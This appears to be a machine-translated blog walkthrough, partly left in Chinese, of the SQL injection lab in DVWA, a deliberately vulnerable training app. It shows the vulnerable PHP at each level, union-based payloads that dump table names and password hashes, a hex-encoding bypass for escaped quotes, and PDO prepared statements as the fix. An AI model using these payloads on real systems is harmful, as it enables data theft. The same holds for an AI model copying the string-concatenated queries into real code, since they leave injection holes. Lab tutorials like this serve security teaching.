DVWA-----Inyección SQL (inyección manual de SQL)

Tabla de contenido

1. Inyección SQL

1. El principio de inyección SQL

 2. Clasificación de inyección SQL

3. Ideas de inyección SQL

4. Método de derivación de inyección SQL

2. Análisis de Vulnerabilidades de Inyección SQL

        1. Definición

2. Motivo

3. Daño

3. Arquitectura de tres niveles del programa web

Cuarto, Inyección SQL

1.BAJO

2.Medio

 3. Alto

 4. Imposible


1. Inyección SQL

1. El principio de inyección SQL

         Al insertar comandos sql maliciosos en el formulario web y enviarlos al servidor, o ingresar la cadena de consulta del nombre de dominio o solicitud de página y enviarlos al servidor, es posible engañar al servidor y permitir que el servidor ejecute estos sql maliciosos. comandos, para que el atacante pueda eludir algunos mecanismos, un método de ataque para acceder directamente a la base de datos.

 2. Clasificación de inyección SQL

(1) digitales       

(2) Tipo de carácter 

(3) Inyección de error    

(4) inyección booleana   

(5) Inyección de tiempo

3. Ideas de inyección SQL

(1) Determinar si hay una inyección, si la inyección es un carácter o un número

(2) Adivina el número de campos en la instrucción de consulta SQL

(3) Determinar la posición del eco

(4) Obtener la base de datos actual

(5) Obtener la tabla en la base de datos

(6) Obtenga el nombre del campo en la tabla

(7) Obtener datos

4. Método de derivación de inyección SQL

(1) Omitir símbolo de comentario (2) Omitir caso (3) Omitir comentario en línea

(4) Omisión de codificación especial (5) Omisión de filtro de espacio (6) Omisión de filtro o x o no

2. Análisis de Vulnerabilidades de Inyección SQL
1. Definición

        SQL Injection (SQLi) es un ataque de inyección que ejecuta sentencias SQL maliciosas. Le da a un atacante control total sobre el servidor de la base de datos detrás de una aplicación web mediante la inserción de código SQL arbitrario en las consultas de la base de datos. Los atacantes pueden usar vulnerabilidades de inyección SQL para eludir las medidas de seguridad de la aplicación; pueden eludir la autenticación y autorización de páginas web o aplicaciones web y recuperar el contenido de toda la base de datos SQL; también pueden usar la inyección SQL para agregar, modificar y eliminar entradas en la base de datos Registro.

2. Motivo

(1) El motivo de la existencia de vulnerabilidades de inyección SQL es el empalme de parámetros SQL. Es decir, los parámetros de consulta utilizados para la entrada se empalman directamente en la declaración SQL, lo que genera una vulnerabilidad de inyección SQL.

(2) Los desarrolladores web no pueden garantizar que todas las entradas hayan sido filtradas

(3) El atacante utiliza los parámetros de entrada enviados al servidor para construir un código SQL ejecutable (que se puede agregar para obtener solicitudes, publicar solicitudes, encabezados http y cookies)

(4) La base de datos no se ha configurado correctamente por motivos de seguridad.

3. Daño

  • Adivinar la base de datos de fondo es la forma más utilizada para robar información confidencial de los sitios web.
  • Omitir la autenticación, como omitir la autenticación para iniciar sesión en el fondo del sitio web.
  • La inyección puede usar los procedimientos almacenados de la base de datos para realizar escalada de privilegios y otras operaciones.

3. Arquitectura de tres niveles del programa web

La arquitectura de tres niveles (arquitectura de 3 niveles) generalmente significa que toda la aplicación comercial se divide en:

    1. Capa de interfaz de usuario

    2. Capa de lógica de negocios

    3. Capa de acceso a datos (Capa de acceso a datos).

En el diseño de arquitectura de software, la estructura en capas es la estructura más común e importante, que se aplica a muchos tipos de desarrollo de software.
La aplicación web impulsada por la base de datos también se divide en tres capas según la idea de la arquitectura de tres niveles:

    1. Capa de presentación.

    2. Capa de lógica empresarial (también conocida como capa de dominio)

    3. Capa de acceso a datos (también conocida como capa de almacenamiento)

Topología

En la figura anterior, el usuario accede al servidor del edificio del laboratorio a través del siguiente proceso:

    Introduzca www.shiyanlou.com en el navegador web para conectarse al servidor del laboratorio.

    El servidor web de la capa de lógica empresarial carga el script index.php desde el almacenamiento local y lo analiza.

    El script se conecta al DBMS (sistema de gestión de bases de datos) en la capa de acceso a datos y ejecuta sentencias Sql.

    El sistema de gestión de base de datos de la capa de acceso a datos devuelve el resultado de la ejecución de la instrucción Sql al servidor web.

    El servidor web en la capa de lógica empresarial encapsula la página web en formato HTML y la envía al navegador web en la capa de presentación.

    El navegador web en la capa de presentación analiza el archivo HTML y presenta el contenido al usuario.

En la arquitectura de tres niveles, toda la comunicación debe pasar por la capa intermedia. En pocas palabras, la arquitectura de tres niveles es una relación lineal.

Cuarto, Inyección SQL

1.BAJO

auditoría de código

<?php

if( isset( $_REQUEST[ 'Submit' ] ) ) {
    // Get input
    $id = $_REQUEST[ 'id' ];

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Get values
        $first = $row["first_name"];
        $last  = $row["last_name"];

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }

    mysqli_close($GLOBALS["___mysqli_ston"]);
}

?> 

 Sentencias SQL ejecutadas en segundo plano

$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";

Análisis de vulnerabilidad

(1) Determine el tipo de inyección , ya sea una inyección numérica o una inyección de caracteres.

Una de las mayores diferencias entre el tipo de carácter y el tipo de número es que el tipo de número no necesita cerrarse con comillas simples, mientras que las cadenas generalmente deben cerrarse con comillas simples.

Ingresamos 1 y verificamos que el eco sea normal (id = 1 en la URL, lo que indica que la página php pasa parámetros a través del método get).

 La ejecución real de la instrucción sql es

SELECT first_name, last_name FROM users WHERE user_id = '1';

Ingresamos 1' para ver el eco, y el resultado es un error.

Podemos suponer que se trata de una inyección de caracteres , seguimos ingresando 1' y '1' = '1 y 1' y '1'='2.

1'y '1'='1 eco normal

 1'y '1'='2 informan de un error

Informamos un error basado en id=1' e id=1' y '1'='1 son correctos, podemos estar seguros de que se trata de una inyección de caracteres , y sabremos que es una inyección de caracteres cuando comprobemos el código fuente.

(2) Determinar el número de campos ordenados por 

Usamos order by para juzgar el número de campos, y es el número de campos hasta que order by informa un error.

Ingrese 1' orden por 1 # instrucción SQL ejecutada en segundo plano

Consulta los datos cuyo ID de usuario es 1 en la tabla de usuarios y clasifícalos según el primer campo

SELECT first_name, last_name FROM users WHERE user_id = '1' order by 1#`;(按照Mysql语法,#后面会被注释掉,使用这种方法屏蔽掉后面的单引号,避免语法错误)

 id = 1 'pedido por 2 # No se informó ningún error

 id=1' order by 3# reportó un error, lo que indica que el campo tiene solo 2 columnas.

(3) Juzgando la    selección de unión de consulta conjunta de posición de eco

        El operador de unión puede combinar los conjuntos de resultados de consulta de dos o más declaraciones de selección en un conjunto de resultados para mostrar, es decir, ejecutar una consulta de unión. Cabe señalar que al usar la consulta de unión, debe tener la misma cantidad de columnas que la consulta principal , y ya sabemos que la cantidad de columnas en la consulta principal es 2, por lo que será fácil de manejar.
Ingrese 1 'base de datos de selección de unión (), usuario () # para consultar:

  • base de datos () devolverá el nombre de la base de datos utilizada por el sitio web actual.
  • user() devolverá el nombre del usuario que ejecuta la consulta actual.

La instrucción sql ejecutada real:

SELECT first_name, last_name FROM users WHERE user_id = '1' union select database(),user()#`;

1' base de datos de selección de unión (), usuario () #

A través de la información devuelta en la figura anterior, obtuvimos con éxito:

    La base de datos utilizada por el sitio web actual es dvwa.
    El nombre de usuario de consulta actual es root@localhost.

De la misma manera, ingresemos 1' union select version(), @@version_compile_os# para consultar:

    version() Obtiene la versión actual de la base de datos
    @@version_compile_os Obtiene el sistema operativo actual.

Declaración Sql realmente ejecutada:

SELECT first_name, last_name FROM users WHERE user_id = '1' union select version(),@@version_compile_os#`;

1' versión de selección de unión(),@@version_compile_os# 

A través de la información devuelta en la figura anterior, obtuvimos con éxito:

  • La versión actual de la base de datos es: 5.7.26
  • El sistema operativo actual es: win64

Determinar la posición del eco 1' union select 1,2#

Juicio base de datos 1' union select 1,detabase()#

(4) Obtenga el nombre de la tabla.
        information_schema es una tabla que viene con mysql.Esta tabla de datos guarda la información de todas las bases de datos del servidor Mysql, como el nombre de la base de datos, la tabla de la base de datos, el tipo de datos y la autoridad de acceso de la columna de la tabla, etc. La base de datos tiene una tabla de datos llamada tablas , que contiene dos campos table_name y table_schema , que registran respectivamente el nombre de la tabla almacenada y la base de datos donde se encuentra el nombre de la tabla en el DBMS .

输入1' union select table_name,table_schema from information_schema.tables where table_schema= 'dvwa'#

1' union select 1, group_concat(table_name) from information_schema.tables where table_schema='dvwa' #Query :
la instrucción Sql ejecutada real es:

SELECT first_name, last_name FROM users WHERE user_id = '1' union select table_name,table_schema from information_schema.tables where table_schema= 'dvwa'#`;

SELECT first_name, last_name FROM users WHERE user_id = '1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa'#;

 Se encontró un error   Combinación ilegal de intercalaciones para la operación 'UNION'

 Solución : busqué en Baidu debido al problema de codificación. Después de buscar más, descubrí que la codificación se puede modificar descargando PhpMyAdmin. Los pasos específicos son los siguientes:

Abra Xiaopi y descargue phpmyadmin

 Haga clic en Administrar, se abre un navegador e inicie sesión en su base de datos raíz.

Haga clic en la base de datos dvwa, operación, reglas de clasificación , cambie la codificación original a "utf8_general_ci", marque para cambiar todas las reglas de la tabla, ejecute, reinicie Xiaopi y dvwa.

 1' union select table_name,table_schema from information_schema.tables where table_schema= 'dvwa'#

1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa' #

ambos están bien

Devolviendo la información de la figura anterior, podemos obtener:

  • La base de datos dvwa tiene dos tablas de datos, libro de visitas y usuarios.

Obtener el nombre del campo en la tabla
Obtener el nombre del campo en la tabla de la tabla de usuarios
1' union select 1, group_concat(column_name) from information_schema.columns where table_name='users'#

Declaración Sql real:

SELECT first_name, last_name FROM users WHERE user_id = '1' union select 1, group_concat(column_name) from information_schema.columns where table_name='users'#';

 Obtener los datos en el campo

Suponga que los campos de la tabla de usuarios son usuario y contraseña, así que ingrese: 1' union select user,password from users # Consulta: La
instrucción Sql ejecutada real es:

SELECT first_name, last_name FROM users WHERE user_id = '1' union select user,password from users#`;

Obtener datos 1 'unión seleccionar usuario, contraseña de usuarios # 

 Se puede ver que el nombre de usuario y la contraseña se explotaron con éxito. La contraseña está cifrada con md5 y se puede www.cmd5.comdescifrar.

Resumir

#判断注入类型 数字 字符(看是否有单引号闭合)
id=1  id=1'
1' and '1' ='1和1' and '1'='2

#判断字段数                                     
order by 
id=1' order by 1#

#判断回显  联合查询 union select
1' union select database(),user()#    #数据库 用户名
1' union select version(),@@version_compile_os#   #数据库版本  操作系统

#获取表名
1' union select table_name,table_schema from information_schema.tables where table_schema= 'database'#   
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='database'#

#获取表中的字段名
1' union select 1, group_concat(column_name) from information_schema.columns where table_name='users'#

#获取表中的数据
1' union select user,password from users 

2.Medio

auditoría de código

<?php

if( isset( $_POST[ 'Submit' ] ) ) {
    // Get input
    $id = $_POST[ 'id' ];

    $id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);

    $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );

    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Display values
        $first = $row["first_name"];
        $last  = $row["last_name"];

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }

}

// This is used later on in the index.php page
// Setting it here so we can close the database connection in here like in the rest of the source scripts
$query  = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0];

mysqli_close($GLOBALS["___mysqli_ston"]);
?> 
$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);

$query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";

Podemos ver que se ha agregado un cuadro de opción desplegable aquí, y no se puede ingresar el contenido que se va a consultar, solo se pueden seleccionar 1-5, se filtran las comillas simples y se usan escapes para evitar la inyección de SQL.

Recurrencia de vulnerabilidad

Nuestras medidas de elusión son usar burpsuite para capturar paquetes o usar el complemento del navegador Hackbar

Luego, modifique la identificación paso a paso de acuerdo con el proceso de inyección de sql anterior para volver a enviar el paquete y actualizar los datos hasta obtener la cuenta de administrador y la contraseña.

 barra para hackear

Submit=Submit&id=1

id=1' descubrió que las 'comillas simples en inglés se escapan, por lo que no se puede usar el nivel Medio' 

Submit=Submit&id=1'

#判断字段数
Submit=Submit&id=1 order by 2 #
#联合查询
#查询数据库
Submit=Submit&id=1 union select database(),user()# 

#获取表名
Submit=Submit&id=1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='database'#

#获取表中的字段名
Submit=Submit&id=1 union select 1, group_concat(column_name) from information_schema.columns where table_name='users'#

#查询users里面的用户名和密码
Submit=Submit&id=1 union select user,password from users #

bp captura paquetes, ctrl+r envía a repetidor.

 id=1 la página de retorno es normal

#判断字段数
id=1 order by 2#
#判断回显  联合查询 union select
1 union select database(),user()#    #数据库 用户名
1 union select version(),@@version_compile_os#   #数据库版本  操作系统

#获取表名
1 union select table_name,table_schema from information_schema.tables where table_schema= database()#   
1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

#获取表中的字段名
1 union select 1, group_concat(column_name) from information_schema.columns where table_name=0x7573657273#  users十六进制: 0x7573657273 


#获取表中的数据
1 union select user,password from users 

Tenga en cuenta que al obtener el nombre del campo , no habrá respuesta, porque el código fuente escapa a las comillas simples, usamos hexadecimal para omitir, y sabemos que el hexadecimal de los usuarios es 0x7573657273

 

 3. Alto

auditoría de código

<?php

if( isset( $_SESSION [ 'id' ] ) ) {
    // Get input
    $id = $_SESSION[ 'id' ];

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );

    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Get values
        $first = $row["first_name"];
        $last  = $row["last_name"];

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);        
}

?> 

 Podemos ver que el límite 1 se ha agregado como límite, lo que significa que si se escanea un resultado, no se escaneará hacia abajo y solo se generará un resultado.

Además, la página de envío de consultas y la página de visualización de resultados de consultas no son las mismas, y no se realiza ningún salto 302. El propósito de esto es evitar la inyección general de sqlmap (inyección automática), porque sqlmap no se puede obtener en la página de envío de consultas durante el proceso de inyección Los resultados de la consulta, sin comentarios, no se pueden inyectar más.

Recurrencia de vulnerabilidad

Es lo mismo que la inyección de SQL de bajo nivel, y la diferencia con el nivel bajoid es que el valor ingresado en la nueva página sessionse almacena en el lado del servidor a través del método. Tenga en cuenta que el comentario # (% 23) es suficiente.

 

 4. Imposible

auditoría de código

<?php

if( isset( $_GET[ 'Submit' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $id = $_GET[ 'id' ];

    // Was a number entered?
    if(is_numeric( $id )) {
        // Check the database
        $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
        $data->bindParam( ':id', $id, PDO::PARAM_INT );
        $data->execute();
        $row = $data->fetch();

        // Make sure only 1 result is returned
        if( $data->rowCount() == 1 ) {
            // Get values
            $first = $row[ 'first_name' ];
            $last  = $row[ 'last_name' ];

            // Feedback for end user
            echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
        }
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?> 

Podemos ver que el código usa la tecnología PDO, que traza un límite claro entre el código y los datos, y previene de manera efectiva la inyección de SQL.

  • Verifique la parte del token Anti-CSRF:

Para evitar ataques CSRF, el token se genera en el lado del servidor. Si el front-end usa el nombre de usuario/contraseña para solicitar la autenticación del servidor, y la autenticación del servidor es exitosa, entonces el servidor devolverá el Token al front-end. El front-end puede traer Token cada vez que solicite probar su estado legal

  • ¿Se ingresó un número?

La función is_numeric() se usa para detectar si una variable es un número o una cadena de números.
$datos = $db->preparar la instrucción sql de precompilación, que puede evitar la inyección de sql.

  • Asegúrese de que solo se devuelva 1 resultado部分:

$data->rowCount() == 1 limita el retorno a una sola declaración.

Probemos e ingresemos 1

A juzgar por el tipo de inyección, es difícil encontrar el punto de inyección en el nivel Imposible.

1 and 1=2
1'and '1'='2

 Consulta la posición del eco y no encuentra resultados.

1' union select 1,3 #

 Tecnología PDO:
1. Después de que la instrucción SQL cree una instancia del objeto, preprocese la instrucción sql que solicita mysql. Aquí, usamos el método de marcador de posición. Después de que el sql se pasa a la función de preparación, la función de preprocesamiento obtendrá la clase de plantilla sql de la declaración de consulta y devolverá la clase de plantilla. La plantilla puede evitar esos engaños. Las variables cambian la semántica de la consulta en sí.
2. Se pueden usar dos métodos para vincular parámetros a plantillas SQL, bindValue y bindParam. La diferencia se puede ver a través del código, bindValue es el valor entrante y bindParam es la variable entrante. El primer parámetro "Número" en las dos funciones representa el parámetro numérico en el marcador de posición.
3. execute() ejecuta la declaración preparada y fetchAll() devuelve una matriz que contiene todas las filas del conjunto de resultados.
Después de php5.3.6, PDO no empalmará sql localmente y pasará el sql empalmado al servidor mysql para su procesamiento (es decir, no realizará el procesamiento de escape localmente). El método de procesamiento de PDO es pasar la plantilla sql preprocesada (incluidos los marcadores de posición) al servidor mysql a través del protocolo mysql cuando se llama a la función de preparación, y decirle al servidor mysql la estructura y la semántica de la plantilla. Al llamar a ejecutar, se pasan dos parámetros al servidor mysql. El servidor mysql completa el procesamiento de transferencia de variables. La plantilla de sql y las variables se pasan dos veces, lo que resuelve el problema de la inyección de sql.

Supongo que te gusta

Origin blog.csdn.net/m0_65712192/article/details/127940489
Recomendado
Clasificación